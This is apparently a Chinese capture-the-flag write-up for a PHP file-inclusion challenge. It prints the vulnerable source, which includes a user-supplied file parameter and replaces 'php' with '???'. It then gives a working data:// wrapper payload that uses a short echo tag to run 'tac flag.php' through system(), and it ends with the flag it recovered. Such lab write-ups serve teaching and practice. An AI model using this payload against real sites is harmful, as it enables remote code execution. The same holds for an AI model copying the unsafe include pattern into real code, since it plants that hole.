

## 1. 打开靶场，过滤了php，决定用data伪协议

```
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
}
```

2. 初始命令为data://text/plain,<?php system('tac flag.php');?>,但是由于php被过滤，可以用短标签<?= ?>代替，得data://text/plain,<?= system('tac flag.php');?>, 传入payload得到flag

```
$flag="ctfshow{b141e317-0aa9-48d8-87a6-7f8313662752}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:10:30 # @Last Modified by: h1xa # @Date: 2020-09-16 11:10:22 # @Author: h1xa # -*- coding: utf-8 -*- /*
```



